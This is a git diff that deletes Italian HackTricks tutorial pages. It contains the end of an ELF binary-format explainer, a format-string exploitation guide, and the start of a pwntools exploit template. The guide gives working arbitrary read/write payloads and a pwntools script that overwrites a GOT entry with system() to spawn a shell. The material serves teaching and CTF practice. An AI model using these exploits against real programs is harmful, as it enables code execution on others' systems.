-Ad esempio, la seconda ha una dimensione di 0x1190, dovrebbe trovarsi a 0x1fc48 con permessi di lettura e scrittura e sarà riempita con 0x528 dall'offset 0xfc48 (non riempie tutto lo spazio riservato). Questa memoria conterrà le sezioni `.init_array .fini_array .dynamic .got .data .bss`.
-
-### DYNAMIC
-
-Questa intestazione aiuta a collegare i programmi alle loro dipendenze di libreria e ad applicare le rilocalizzazioni. Controlla la sezione **`.dynamic`**.
-
-### NOTE
-
-Questo memorizza informazioni sui metadati del fornitore riguardo al binario.
-
-### GNU_EH_FRAME
-
-Definisce la posizione delle tabelle di unwind dello stack, utilizzate dai debugger e dalle funzioni di runtime per la gestione delle eccezioni in C++.
-
-### GNU_STACK
-
-Contiene la configurazione della difesa contro l'esecuzione dello stack. Se abilitato, il binario non sarà in grado di eseguire codice dallo stack.
-
-### GNU_RELRO
-
-Indica la configurazione RELRO (Relocation Read-Only) del binario. Questa protezione contrassegnerà come di sola lettura alcune sezioni della memoria (come il `GOT` o le tabelle `init` e `fini`) dopo che il programma è stato caricato e prima che inizi a essere eseguito.
-
-Nell'esempio precedente sta copiando 0x3b8 byte a 0x1fc48 come di sola lettura, influenzando le sezioni `.init_array .fini_array .dynamic .got .data .bss`.
-
-Nota che RELRO può essere parziale o completo, la versione parziale non protegge la sezione **`.plt.got`**, che viene utilizzata per il **lazy binding** e ha bisogno di questo spazio di memoria per avere **permessi di scrittura** per scrivere l'indirizzo delle librerie la prima volta che viene cercata la loro posizione.
-
-### TLS
-
-Definisce una tabella di voci TLS, che memorizza informazioni sulle variabili locali al thread.
-
-## Intestazioni di Sezione
-
-Le intestazioni di sezione forniscono una visione più dettagliata del binario ELF.
-```
-objdump lnstat -h
-
-lnstat:     file format elf64-littleaarch64
-
-Sections:
-Idx Name          Size      VMA               LMA               File off  Algn
-0 .interp       0000001b  0000000000000238  0000000000000238  00000238  2**0
-CONTENTS, ALLOC, LOAD, READONLY, DATA
-1 .note.gnu.build-id 00000024  0000000000000254  0000000000000254  00000254  2**2
-CONTENTS, ALLOC, LOAD, READONLY, DATA
-2 .note.ABI-tag 00000020  0000000000000278  0000000000000278  00000278  2**2
-CONTENTS, ALLOC, LOAD, READONLY, DATA
-3 .note.package 0000009c  0000000000000298  0000000000000298  00000298  2**2
-CONTENTS, ALLOC, LOAD, READONLY, DATA
-4 .gnu.hash     0000001c  0000000000000338  0000000000000338  00000338  2**3
-CONTENTS, ALLOC, LOAD, READONLY, DATA
-5 .dynsym       00000498  0000000000000358  0000000000000358  00000358  2**3
-CONTENTS, ALLOC, LOAD, READONLY, DATA
-6 .dynstr       000001fe  00000000000007f0  00000000000007f0  000007f0  2**0
-CONTENTS, ALLOC, LOAD, READONLY, DATA
-7 .gnu.version  00000062  00000000000009ee  00000000000009ee  000009ee  2**1
-CONTENTS, ALLOC, LOAD, READONLY, DATA
-8 .gnu.version_r 00000050  0000000000000a50  0000000000000a50  00000a50  2**3
-CONTENTS, ALLOC, LOAD, READONLY, DATA
-9 .rela.dyn     00000228  0000000000000aa0  0000000000000aa0  00000aa0  2**3
-CONTENTS, ALLOC, LOAD, READONLY, DATA
-10 .rela.plt     000003c0  0000000000000cc8  0000000000000cc8  00000cc8  2**3
-CONTENTS, ALLOC, LOAD, READONLY, DATA
-11 .init         00000018  0000000000001088  0000000000001088  00001088  2**2
-CONTENTS, ALLOC, LOAD, READONLY, CODE
-12 .plt          000002a0  00000000000010a0  00000000000010a0  000010a0  2**4
-CONTENTS, ALLOC, LOAD, READONLY, CODE
-13 .text         00001c34  0000000000001340  0000000000001340  00001340  2**6
-CONTENTS, ALLOC, LOAD, READONLY, CODE
-14 .fini         00000014  0000000000002f74  0000000000002f74  00002f74  2**2
-CONTENTS, ALLOC, LOAD, READONLY, CODE
-15 .rodata       00000686  0000000000002f88  0000000000002f88  00002f88  2**3
-CONTENTS, ALLOC, LOAD, READONLY, DATA
-16 .eh_frame_hdr 000001b4  0000000000003610  0000000000003610  00003610  2**2
-CONTENTS, ALLOC, LOAD, READONLY, DATA
-17 .eh_frame     000007b4  00000000000037c8  00000000000037c8  000037c8  2**3
-CONTENTS, ALLOC, LOAD, READONLY, DATA
-18 .init_array   00000008  000000000001fc48  000000000001fc48  0000fc48  2**3
-CONTENTS, ALLOC, LOAD, DATA
-19 .fini_array   00000008  000000000001fc50  000000000001fc50  0000fc50  2**3
-CONTENTS, ALLOC, LOAD, DATA
-20 .dynamic      00000200  000000000001fc58  000000000001fc58  0000fc58  2**3
-CONTENTS, ALLOC, LOAD, DATA
-21 .got          000001a8  000000000001fe58  000000000001fe58  0000fe58  2**3
-CONTENTS, ALLOC, LOAD, DATA
-22 .data         00000170  0000000000020000  0000000000020000  00010000  2**3
-CONTENTS, ALLOC, LOAD, DATA
-23 .bss          00000c68  0000000000020170  0000000000020170  00010170  2**3
-ALLOC
-24 .gnu_debugaltlink 00000049  0000000000000000  0000000000000000  00010170  2**0
-CONTENTS, READONLY
-25 .gnu_debuglink 00000034  0000000000000000  0000000000000000  000101bc  2**2
-CONTENTS, READONLY
-```
-Indica anche la posizione, l'offset, i permessi ma anche il **tipo di dati** che ha la sua sezione.
-
-### Sezioni Meta
-
-- **String table**: Contiene tutte le stringhe necessarie al file ELF (ma non quelle effettivamente utilizzate dal programma). Ad esempio, contiene nomi di sezioni come `.text` o `.data`. E se `.text` si trova all'offset 45 nella string table, utilizzerà il numero **45** nel campo **name**.
-- Per trovare dove si trova la string table, l'ELF contiene un puntatore alla string table.
-- **Symbol table**: Contiene informazioni sui simboli come il nome (offset nella string table), indirizzo, dimensione e ulteriori metadati sul simbolo.
-
-### Sezioni Principali
-
-- **`.text`**: Le istruzioni del programma da eseguire.
-- **`.data`**: Variabili globali con un valore definito nel programma.
-- **`.bss`**: Variabili globali lasciate non inizializzate (o inizializzate a zero). Le variabili qui sono automaticamente inizializzate a zero, prevenendo quindi l'aggiunta di zeri inutili al binario.
-- **`.rodata`**: Variabili globali costanti (sezione di sola lettura).
-- **`.tdata`** e **`.tbss`**: Come .data e .bss quando si utilizzano variabili locali al thread (`__thread_local` in C++ o `__thread` in C).
-- **`.dynamic`**: Vedi sotto.
-
-## Simboli
-
-I simboli sono una posizione nominata nel programma che potrebbe essere una funzione, un oggetto di dati globale, variabili locali al thread...
-```
-readelf -s lnstat
-
-Symbol table '.dynsym' contains 49 entries:
-Num:    Value          Size Type    Bind   Vis      Ndx Name
-0: 0000000000000000     0 NOTYPE  LOCAL  DEFAULT  UND
-1: 0000000000001088     0 SECTION LOCAL  DEFAULT   12 .init
-2: 0000000000020000     0 SECTION LOCAL  DEFAULT   23 .data
-3: 0000000000000000     0 FUNC    GLOBAL DEFAULT  UND strtok@GLIBC_2.17 (2)
-4: 0000000000000000     0 FUNC    GLOBAL DEFAULT  UND s[...]@GLIBC_2.17 (2)
-5: 0000000000000000     0 FUNC    GLOBAL DEFAULT  UND strlen@GLIBC_2.17 (2)
-6: 0000000000000000     0 FUNC    GLOBAL DEFAULT  UND fputs@GLIBC_2.17 (2)
-7: 0000000000000000     0 FUNC    GLOBAL DEFAULT  UND exit@GLIBC_2.17 (2)
-8: 0000000000000000     0 FUNC    GLOBAL DEFAULT  UND _[...]@GLIBC_2.34 (3)
-9: 0000000000000000     0 FUNC    GLOBAL DEFAULT  UND perror@GLIBC_2.17 (2)
-10: 0000000000000000     0 NOTYPE  WEAK   DEFAULT  UND _ITM_deregisterT[...]
-11: 0000000000000000     0 FUNC    WEAK   DEFAULT  UND _[...]@GLIBC_2.17 (2)
-12: 0000000000000000     0 FUNC    GLOBAL DEFAULT  UND putc@GLIBC_2.17 (2)
-[...]
-```
-Ogni voce simbolo contiene:
-
-- **Nome**
-- **Attributi di binding** (debole, locale o globale): Un simbolo locale può essere accessibile solo dal programma stesso, mentre i simboli globali sono condivisi al di fuori del programma. Un oggetto debole è, ad esempio, una funzione che può essere sovrascritta da un'altra.
-- **Tipo**: NOTYPE (nessun tipo specificato), OBJECT (variabile di dati globale), FUNC (funzione), SECTION (sezione), FILE (file di codice sorgente per debugger), TLS (variabile locale al thread), GNU_IFUNC (funzione indiretta per rilocazione)
-- **Indice della sezione** in cui si trova
-- **Valore** (indirizzo in memoria)
-- **Dimensione**
-
-## Sezione Dinamica
-```
-readelf -d lnstat
-
-Dynamic section at offset 0xfc58 contains 28 entries:
-Tag        Type                         Name/Value
-0x0000000000000001 (NEEDED)             Shared library: [libc.so.6]
-0x0000000000000001 (NEEDED)             Shared library: [ld-linux-aarch64.so.1]
-0x000000000000000c (INIT)               0x1088
-0x000000000000000d (FINI)               0x2f74
-0x0000000000000019 (INIT_ARRAY)         0x1fc48
-0x000000000000001b (INIT_ARRAYSZ)       8 (bytes)
-0x000000000000001a (FINI_ARRAY)         0x1fc50
-0x000000000000001c (FINI_ARRAYSZ)       8 (bytes)
-0x000000006ffffef5 (GNU_HASH)           0x338
-0x0000000000000005 (STRTAB)             0x7f0
-0x0000000000000006 (SYMTAB)             0x358
-0x000000000000000a (STRSZ)              510 (bytes)
-0x000000000000000b (SYMENT)             24 (bytes)
-0x0000000000000015 (DEBUG)              0x0
-0x0000000000000003 (PLTGOT)             0x1fe58
-0x0000000000000002 (PLTRELSZ)           960 (bytes)
-0x0000000000000014 (PLTREL)             RELA
-0x0000000000000017 (JMPREL)             0xcc8
-0x0000000000000007 (RELA)               0xaa0
-0x0000000000000008 (RELASZ)             552 (bytes)
-0x0000000000000009 (RELAENT)            24 (bytes)
-0x000000000000001e (FLAGS)              BIND_NOW
-0x000000006ffffffb (FLAGS_1)            Flags: NOW PIE
-0x000000006ffffffe (VERNEED)            0xa50
-0x000000006fffffff (VERNEEDNUM)         2
-0x000000006ffffff0 (VERSYM)             0x9ee
-0x000000006ffffff9 (RELACOUNT)          15
-0x0000000000000000 (NULL)               0x0
-```
-La directory NEEDED indica che il programma **deve caricare la libreria menzionata** per poter continuare. La directory NEEDED si completa una volta che la **libreria condivisa è completamente operativa e pronta** per l'uso.
-
-## Relocations
-
-Il loader deve anche rilocare le dipendenze dopo averle caricate. Queste rilocazioni sono indicate nella tabella di rilocazione nei formati REL o RELA e il numero di rilocazioni è fornito nelle sezioni dinamiche RELSZ o RELASZ.
-```
-readelf -r lnstat
-
-Relocation section '.rela.dyn' at offset 0xaa0 contains 23 entries:
-Offset          Info           Type           Sym. Value    Sym. Name + Addend
-00000001fc48  000000000403 R_AARCH64_RELATIV                    1d10
-00000001fc50  000000000403 R_AARCH64_RELATIV                    1cc0
-00000001fff0  000000000403 R_AARCH64_RELATIV                    1340
-000000020008  000000000403 R_AARCH64_RELATIV                    20008
-000000020010  000000000403 R_AARCH64_RELATIV                    3330
-000000020030  000000000403 R_AARCH64_RELATIV                    3338
-000000020050  000000000403 R_AARCH64_RELATIV                    3340
-000000020070  000000000403 R_AARCH64_RELATIV                    3348
-000000020090  000000000403 R_AARCH64_RELATIV                    3350
-0000000200b0  000000000403 R_AARCH64_RELATIV                    3358
-0000000200d0  000000000403 R_AARCH64_RELATIV                    3360
-0000000200f0  000000000403 R_AARCH64_RELATIV                    3370
-000000020110  000000000403 R_AARCH64_RELATIV                    3378
-000000020130  000000000403 R_AARCH64_RELATIV                    3380
-000000020150  000000000403 R_AARCH64_RELATIV                    3388
-00000001ffb8  000a00000401 R_AARCH64_GLOB_DA 0000000000000000 _ITM_deregisterTM[...] + 0
-00000001ffc0  000b00000401 R_AARCH64_GLOB_DA 0000000000000000 __cxa_finalize@GLIBC_2.17 + 0
-00000001ffc8  000f00000401 R_AARCH64_GLOB_DA 0000000000000000 stderr@GLIBC_2.17 + 0
-00000001ffd0  001000000401 R_AARCH64_GLOB_DA 0000000000000000 optarg@GLIBC_2.17 + 0
-00000001ffd8  001400000401 R_AARCH64_GLOB_DA 0000000000000000 stdout@GLIBC_2.17 + 0
-00000001ffe0  001e00000401 R_AARCH64_GLOB_DA 0000000000000000 __gmon_start__ + 0
-00000001ffe8  001f00000401 R_AARCH64_GLOB_DA 0000000000000000 __stack_chk_guard@GLIBC_2.17 + 0
-00000001fff8  002e00000401 R_AARCH64_GLOB_DA 0000000000000000 _ITM_registerTMCl[...] + 0
-
-Relocation section '.rela.plt' at offset 0xcc8 contains 40 entries:
-Offset          Info           Type           Sym. Value    Sym. Name + Addend
-00000001fe70  000300000402 R_AARCH64_JUMP_SL 0000000000000000 strtok@GLIBC_2.17 + 0
-00000001fe78  000400000402 R_AARCH64_JUMP_SL 0000000000000000 strtoul@GLIBC_2.17 + 0
-00000001fe80  000500000402 R_AARCH64_JUMP_SL 0000000000000000 strlen@GLIBC_2.17 + 0
-00000001fe88  000600000402 R_AARCH64_JUMP_SL 0000000000000000 fputs@GLIBC_2.17 + 0
-00000001fe90  000700000402 R_AARCH64_JUMP_SL 0000000000000000 exit@GLIBC_2.17 + 0
-00000001fe98  000800000402 R_AARCH64_JUMP_SL 0000000000000000 __libc_start_main@GLIBC_2.34 + 0
-00000001fea0  000900000402 R_AARCH64_JUMP_SL 0000000000000000 perror@GLIBC_2.17 + 0
-00000001fea8  000b00000402 R_AARCH64_JUMP_SL 0000000000000000 __cxa_finalize@GLIBC_2.17 + 0
-00000001feb0  000c00000402 R_AARCH64_JUMP_SL 0000000000000000 putc@GLIBC_2.17 + 0
-00000001feb8  000d00000402 R_AARCH64_JUMP_SL 0000000000000000 opendir@GLIBC_2.17 + 0
-00000001fec0  000e00000402 R_AARCH64_JUMP_SL 0000000000000000 fputc@GLIBC_2.17 + 0
-00000001fec8  001100000402 R_AARCH64_JUMP_SL 0000000000000000 snprintf@GLIBC_2.17 + 0
-00000001fed0  001200000402 R_AARCH64_JUMP_SL 0000000000000000 __snprintf_chk@GLIBC_2.17 + 0
-00000001fed8  001300000402 R_AARCH64_JUMP_SL 0000000000000000 malloc@GLIBC_2.17 + 0
-00000001fee0  001500000402 R_AARCH64_JUMP_SL 0000000000000000 gettimeofday@GLIBC_2.17 + 0
-00000001fee8  001600000402 R_AARCH64_JUMP_SL 0000000000000000 sleep@GLIBC_2.17 + 0
-00000001fef0  001700000402 R_AARCH64_JUMP_SL 0000000000000000 __vfprintf_chk@GLIBC_2.17 + 0
-00000001fef8  001800000402 R_AARCH64_JUMP_SL 0000000000000000 calloc@GLIBC_2.17 + 0
-00000001ff00  001900000402 R_AARCH64_JUMP_SL 0000000000000000 rewind@GLIBC_2.17 + 0
-00000001ff08  001a00000402 R_AARCH64_JUMP_SL 0000000000000000 strdup@GLIBC_2.17 + 0
-00000001ff10  001b00000402 R_AARCH64_JUMP_SL 0000000000000000 closedir@GLIBC_2.17 + 0
-00000001ff18  001c00000402 R_AARCH64_JUMP_SL 0000000000000000 __stack_chk_fail@GLIBC_2.17 + 0
-00000001ff20  001d00000402 R_AARCH64_JUMP_SL 0000000000000000 strrchr@GLIBC_2.17 + 0
-00000001ff28  001e00000402 R_AARCH64_JUMP_SL 0000000000000000 __gmon_start__ + 0
-00000001ff30  002000000402 R_AARCH64_JUMP_SL 0000000000000000 abort@GLIBC_2.17 + 0
-00000001ff38  002100000402 R_AARCH64_JUMP_SL 0000000000000000 feof@GLIBC_2.17 + 0
-00000001ff40  002200000402 R_AARCH64_JUMP_SL 0000000000000000 getopt_long@GLIBC_2.17 + 0
-00000001ff48  002300000402 R_AARCH64_JUMP_SL 0000000000000000 __fprintf_chk@GLIBC_2.17 + 0
-00000001ff50  002400000402 R_AARCH64_JUMP_SL 0000000000000000 strcmp@GLIBC_2.17 + 0
-00000001ff58  002500000402 R_AARCH64_JUMP_SL 0000000000000000 free@GLIBC_2.17 + 0
-00000001ff60  002600000402 R_AARCH64_JUMP_SL 0000000000000000 readdir64@GLIBC_2.17 + 0
-00000001ff68  002700000402 R_AARCH64_JUMP_SL 0000000000000000 strndup@GLIBC_2.17 + 0
-00000001ff70  002800000402 R_AARCH64_JUMP_SL 0000000000000000 strchr@GLIBC_2.17 + 0
-00000001ff78  002900000402 R_AARCH64_JUMP_SL 0000000000000000 fwrite@GLIBC_2.17 + 0
-00000001ff80  002a00000402 R_AARCH64_JUMP_SL 0000000000000000 fflush@GLIBC_2.17 + 0
-00000001ff88  002b00000402 R_AARCH64_JUMP_SL 0000000000000000 fopen64@GLIBC_2.17 + 0
-00000001ff90  002c00000402 R_AARCH64_JUMP_SL 0000000000000000 __isoc99_sscanf@GLIBC_2.17 + 0
-00000001ff98  002d00000402 R_AARCH64_JUMP_SL 0000000000000000 strncpy@GLIBC_2.17 + 0
-00000001ffa0  002f00000402 R_AARCH64_JUMP_SL 0000000000000000 __assert_fail@GLIBC_2.17 + 0
-00000001ffa8  003000000402 R_AARCH64_JUMP_SL 0000000000000000 fgets@GLIBC_2.17 + 0
-```
-### Static Relocations
-
-Se il **programma è caricato in un luogo diverso** dall'indirizzo preferito (di solito 0x400000) perché l'indirizzo è già utilizzato o a causa di **ASLR** o per qualsiasi altro motivo, una relocazione statica **corregge i puntatori** che avevano valori che si aspettavano che il binario fosse caricato nell'indirizzo preferito.
-
-Ad esempio, qualsiasi sezione di tipo `R_AARCH64_RELATIV` dovrebbe avere modificato l'indirizzo al bias di relocazione più il valore addend.
-
-### Dynamic Relocations and GOT
-
-La relocazione potrebbe anche fare riferimento a un simbolo esterno (come una funzione da una dipendenza). Come la funzione malloc da libC. Quindi, il loader quando carica libC in un indirizzo controllando dove è caricata la funzione malloc, scriverà questo indirizzo nella tabella GOT (Global Offset Table) (indicato nella tabella di relocazione) dove dovrebbe essere specificato l'indirizzo di malloc.
-
-### Procedure Linkage Table
-
-La sezione PLT consente di eseguire il lazy binding, il che significa che la risoluzione della posizione di una funzione verrà eseguita la prima volta che viene accesso.
-
-Quindi, quando un programma chiama malloc, in realtà chiama la posizione corrispondente di `malloc` nel PLT (`malloc@plt`). La prima volta che viene chiamato, risolve l'indirizzo di `malloc` e lo memorizza, quindi la prossima volta che viene chiamato `malloc`, quell'indirizzo viene utilizzato invece del codice PLT.
-
-## Program Initialization
-
-Dopo che il programma è stato caricato, è tempo di eseguirlo. Tuttavia, il primo codice che viene eseguito **non è sempre la funzione `main`**. Questo perché, ad esempio, in C++ se una **variabile globale è un oggetto di una classe**, questo oggetto deve essere **inizializzato** **prima** che venga eseguita main, come in:
-```cpp
-#include 
-// g++ autoinit.cpp -o autoinit
-class AutoInit {
-public:
-AutoInit() {
-printf("Hello AutoInit!\n");
-}
-~AutoInit() {
-printf("Goodbye AutoInit!\n");
-}
-};
-
-AutoInit autoInit;
-
-int main() {
-printf("Main\n");
-return 0;
-}
-```
-Nota che queste variabili globali si trovano in `.data` o `.bss`, ma nelle liste `__CTOR_LIST__` e `__DTOR_LIST__` gli oggetti da inizializzare e distruggere sono memorizzati per tenerne traccia.
-
-Dal codice C è possibile ottenere lo stesso risultato utilizzando le estensioni GNU:
-```c
-__attributte__((constructor)) //Add a constructor to execute before
-__attributte__((destructor)) //Add to the destructor list
-```
-Dal punto di vista di un compilatore, per eseguire queste azioni prima e dopo l'esecuzione della funzione `main`, è possibile creare una funzione `init` e una funzione `fini` che sarebbero referenziate nella sezione dinamica come **`INIT`** e **`FIN`**. e sono collocate nelle sezioni `init` e `fini` dell'ELF.
-
-L'altra opzione, come menzionato, è fare riferimento alle liste **`__CTOR_LIST__`** e **`__DTOR_LIST__`** nelle voci **`INIT_ARRAY`** e **`FINI_ARRAY`** nella sezione dinamica e la lunghezza di queste è indicata da **`INIT_ARRAYSZ`** e **`FINI_ARRAYSZ`**. Ogni voce è un puntatore a funzione che verrà chiamato senza argomenti.
-
-Inoltre, è anche possibile avere un **`PREINIT_ARRAY`** con **puntatori** che verranno eseguiti **prima** dei puntatori **`INIT_ARRAY`**.
-
-### Ordine di Inizializzazione
-
-1. Il programma viene caricato in memoria, le variabili globali statiche vengono inizializzate in **`.data`** e quelle non inizializzate vengono azzerate in **`.bss`**.
-2. Tutte le **dipendenze** per il programma o le librerie vengono **inizializzate** e il **collegamento dinamico** viene eseguito.
-3. Le funzioni **`PREINIT_ARRAY`** vengono eseguite.
-4. Le funzioni **`INIT_ARRAY`** vengono eseguite.
-5. Se c'è una voce **`INIT`**, viene chiamata.
-6. Se è una libreria, dlopen termina qui, se è un programma, è il momento di chiamare il **punto di ingresso reale** (funzione `main`).
-
-## Memoria Locale per Thread (TLS)
-
-Sono definiti utilizzando la parola chiave **`__thread_local`** in C++ o l'estensione GNU **`__thread`**.
-
-Ogni thread manterrà una posizione unica per questa variabile, quindi solo il thread può accedere alla sua variabile.
-
-Quando questo viene utilizzato, le sezioni **`.tdata`** e **`.tbss`** vengono utilizzate nell'ELF. Che sono simili a `.data` (inizializzato) e `.bss` (non inizializzato) ma per TLS.
-
-Ogni variabile avrà un'entrata nell'intestazione TLS che specifica la dimensione e l'offset TLS, che è l'offset che utilizzerà nell'area di dati locale del thread.
-
-Il `__TLS_MODULE_BASE` è un simbolo utilizzato per riferirsi all'indirizzo base della memoria locale per thread e punta all'area in memoria che contiene tutti i dati locali per thread di un modulo.
-
-{{#include ../../banners/hacktricks-training.md}}
diff --git a/src/reversing-and-exploiting/linux-exploiting-basic-esp/format-strings/README.md b/src/reversing-and-exploiting/linux-exploiting-basic-esp/format-strings/README.md
deleted file mode 100644
index 86a35a847..000000000
--- a/src/reversing-and-exploiting/linux-exploiting-basic-esp/format-strings/README.md
+++ /dev/null
@@ -1,150 +0,0 @@
-# Format Strings
-
-{{#include ../../../banners/hacktricks-training.md}}
-
-## Informazioni di Base
-
-In C **`printf`** è una funzione che può essere utilizzata per **stampare** una stringa. Il **primo parametro** che questa funzione si aspetta è il **testo grezzo con i formattatori**. I **parametri seguenti** attesi sono i **valori** da **sostituire** ai **formattatori** nel testo grezzo.
-
-La vulnerabilità appare quando un **testo dell'attaccante viene utilizzato come primo argomento** per questa funzione. L'attaccante sarà in grado di creare un **input speciale che sfrutta** le capacità della **stringa di formato printf** per leggere e **scrivere qualsiasi dato in qualsiasi indirizzo (leggibile/scrivibile)**. Essere in grado in questo modo di **eseguire codice arbitrario**.
-
-#### Formattatori:
-```bash
-%08x —> 8 hex bytes
-%d —> Entire
-%u —> Unsigned
-%s —> String
-%n —> Number of written bytes
-%hn —> Occupies 2 bytes instead of 4
-$X —> Direct access, Example: ("%3$d", var1, var2, var3) —> Access to var3
-```
-**Esempi:**
-
-- Esempio vulnerabile:
-```c
-char buffer[30];
-gets(buffer);  // Dangerous: takes user input without restrictions.
-printf(buffer);  // If buffer contains "%x", it reads from the stack.
-```
-- Uso Normale:
-```c
-int value = 1205;
-printf("%x %x %x", value, value, value);  // Outputs: 4b5 4b5 4b5
-```
-- Con Argomenti Mancanti:
-```c
-printf("%x %x %x", value);  // Unexpected output: reads random values from the stack.
-```
-### **Accessing Pointers**
-
-Il formato **`%$x`**, dove `n` è un numero, consente di indicare a printf di selezionare il n-esimo parametro (dallo stack). Quindi, se vuoi leggere il 4° parametro dallo stack usando printf, potresti fare:
-```c
-printf("%x %x %x %x")
-```
-e leggeresti dal primo al quarto parametro.
-
-Oppure potresti fare:
-```c
-printf("$4%x")
-```
-e leggere direttamente il quarto.
-
-Nota che l'attaccante controlla il parametro `pr`**`intf`**, il che significa fondamentalmente che** il suo input sarà nello stack quando viene chiamato `printf`, il che significa che potrebbe scrivere indirizzi di memoria specifici nello stack.
-
-> [!CAUTION]
-> Un attaccante che controlla questo input sarà in grado di **aggiungere indirizzi arbitrari nello stack e far accedere `printf` a essi**. Nella sezione successiva verrà spiegato come utilizzare questo comportamento.
-
-## **Lettura Arbitraria**
-
-È possibile utilizzare il formattatore **`$n%s`** per far sì che **`printf`** ottenga l'**indirizzo** situato nella **n posizione**, seguendolo e **stamparlo come se fosse una stringa** (stampa fino a quando non viene trovato un 0x00). Quindi, se l'indirizzo base del binario è **`0x8048000`**, e sappiamo che l'input dell'utente inizia nella quarta posizione nello stack, è possibile stampare l'inizio del binario con:
-```python
-from pwn import *
-
-p = process('./bin')
-
-payload = b'%6$p' #4th param
-payload += b'xxxx' #5th param (needed to fill 8bytes with the initial input)
-payload += p32(0x8048000) #6th param
-
-p.sendline(payload)
-log.info(p.clean()) # b'\x7fELF\x01\x01\x01||||'
-```
-> [!CAUTION]
-> Nota che non puoi mettere l'indirizzo 0x8048000 all'inizio dell'input perché la stringa verrà tagliata a 0x00 alla fine di quell'indirizzo.
-
-## **Scrittura Arbitraria**
-
-Il formatter **`$%n`** **scrive** il **numero di byte scritti** nell'**indirizzo indicato** nel parametro \ nello stack. Se un attaccante può scrivere quanti più caratteri possibile con printf, sarà in grado di far scrivere **`$%n`** un numero arbitrario in un indirizzo arbitrario.
-
-Fortunatamente, per scrivere il numero 9999, non è necessario aggiungere 9999 "A" all'input; per farlo è possibile utilizzare il formatter **`%.%$n`** per scrivere il numero **``** nell'**indirizzo puntato dalla posizione `num`**.
-```bash
-AAAA%.6000d%4\$n —> Write 6004 in the address indicated by the 4º param
-AAAA.%500\$08x —> Param at offset 500
-```
-Tuttavia, nota che di solito per scrivere un indirizzo come `0x08049724` (che è un numero ENORME da scrivere tutto in una volta), **si usa `$hn`** invece di `$n`. Questo consente di **scrivere solo 2 Byte**. Pertanto, questa operazione viene eseguita due volte, una per i 2B più alti dell'indirizzo e un'altra volta per i più bassi.
-
-Pertanto, questa vulnerabilità consente di **scrivere qualsiasi cosa in qualsiasi indirizzo (scrittura arbitraria).**
-
-In questo esempio, l'obiettivo sarà **sovrascrivere** l'**indirizzo** di una **funzione** nella tabella **GOT** che verrà chiamata successivamente. Anche se questo potrebbe abusare di altre tecniche di scrittura arbitraria per eseguire:
-
-{{#ref}}
-../arbitrary-write-2-exec/
-{{#endref}}
-
-Stiamo per **sovrascrivere** una **funzione** che **riceve** i suoi **argomenti** dall'**utente** e **puntarla** alla **funzione** **`system`**.\
-Come accennato, per scrivere l'indirizzo, di solito sono necessari 2 passaggi: **prima scrivi 2Byte** dell'indirizzo e poi gli altri 2. Per fare ciò si usa **`$hn`**.
-
-- **HOB** è chiamato per i 2 byte più alti dell'indirizzo
-- **LOB** è chiamato per i 2 byte più bassi dell'indirizzo
-
-Poi, a causa di come funziona la stringa di formato, devi **scrivere prima il più piccolo** di \[HOB, LOB] e poi l'altro.
-
-Se HOB < LOB\
-`[address+2][address]%.[HOB-8]x%[offset]\$hn%.[LOB-HOB]x%[offset+1]`
-
-Se HOB > LOB\
-`[address+2][address]%.[LOB-8]x%[offset+1]\$hn%.[HOB-LOB]x%[offset]`
-
-HOB LOB HOB_shellcode-8 NºParam_dir_HOB LOB_shell-HOB_shell NºParam_dir_LOB
-```bash
-python -c 'print "\x26\x97\x04\x08"+"\x24\x97\x04\x08"+ "%.49143x" + "%4$hn" + "%.15408x" + "%5$hn"'
-```
-### Pwntools Template
-
-Puoi trovare un template per preparare un exploit per questo tipo di vulnerabilità in:
-
-{{#ref}}
-format-strings-template.md
-{{#endref}}
-
-O questo esempio di base da [**qui**](https://ir0nstone.gitbook.io/notes/types/stack/got-overwrite/exploiting-a-got-overwrite):
-```python
-from pwn import *
-
-elf = context.binary = ELF('./got_overwrite-32')
-libc = elf.libc
-libc.address = 0xf7dc2000       # ASLR disabled
-
-p = process()
-
-payload = fmtstr_payload(5, {elf.got['printf'] : libc.sym['system']})
-p.sendline(payload)
-
-p.clean()
-
-p.sendline('/bin/sh')
-
-p.interactive()
-```
-## Altri Esempi e Riferimenti
-
-- [https://ir0nstone.gitbook.io/notes/types/stack/format-string](https://ir0nstone.gitbook.io/notes/types/stack/format-string)
-- [https://www.youtube.com/watch?v=t1LH9D5cuK4](https://www.youtube.com/watch?v=t1LH9D5cuK4)
-- [https://guyinatuxedo.github.io/10-fmt_strings/pico18_echo/index.html](https://guyinatuxedo.github.io/10-fmt_strings/pico18_echo/index.html)
-- 32 bit, no relro, no canary, nx, no pie, uso base delle format strings per leakare il flag dallo stack (non è necessario alterare il flusso di esecuzione)
-- [https://guyinatuxedo.github.io/10-fmt_strings/backdoor17_bbpwn/index.html](https://guyinatuxedo.github.io/10-fmt_strings/backdoor17_bbpwn/index.html)
-- 32 bit, relro, no canary, nx, no pie, format string per sovrascrivere l'indirizzo `fflush` con la funzione win (ret2win)
-- [https://guyinatuxedo.github.io/10-fmt_strings/tw16_greeting/index.html](https://guyinatuxedo.github.io/10-fmt_strings/tw16_greeting/index.html)
-- 32 bit, relro, no canary, nx, no pie, format string per scrivere un indirizzo dentro main in `.fini_array` (così il flusso torna indietro un'altra volta) e scrivere l'indirizzo a `system` nella tabella GOT puntando a `strlen`. Quando il flusso torna a main, `strlen` viene eseguito con l'input dell'utente e puntando a `system`, eseguirà i comandi passati.
-
-{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/reversing-and-exploiting/linux-exploiting-basic-esp/format-strings/format-strings-template.md b/src/reversing-and-exploiting/linux-exploiting-basic-esp/format-strings/format-strings-template.md
deleted file mode 100644
index 37491cf26..000000000
--- a/src/reversing-and-exploiting/linux-exploiting-basic-esp/format-strings/format-strings-template.md
+++ /dev/null
@@ -1,140 +0,0 @@
-{{#include ../../../banners/hacktricks-training.md}}
-```python
-from pwn import *
-from time import sleep
-
-###################
-### CONNECTION ####
-###################
-
-# Define how you want to exploit the binary
-LOCAL = True
-REMOTETTCP = False
-REMOTESSH = False
-GDB = False
-
-# Configure vulnerable binary
-LOCAL_BIN = "./tyler"
-REMOTE_BIN = "./tyler" #For ssh
-
-# In order to exploit the format string you may need to append/prepend some string to the payload
-# configure them here
-PREFIX_PAYLOAD = b""
-SUFFIX_PAYLOAD = b""
-NNUM_ALREADY_WRITTEN_BYTES = 0
-MAX_LENTGH = 999999 #Big num if not restricted
-
-print(" ====================== ")
-print("Selected options:")
-print(f"PREFIX_PAYLOAD: {PREFIX_PAYLOAD}")
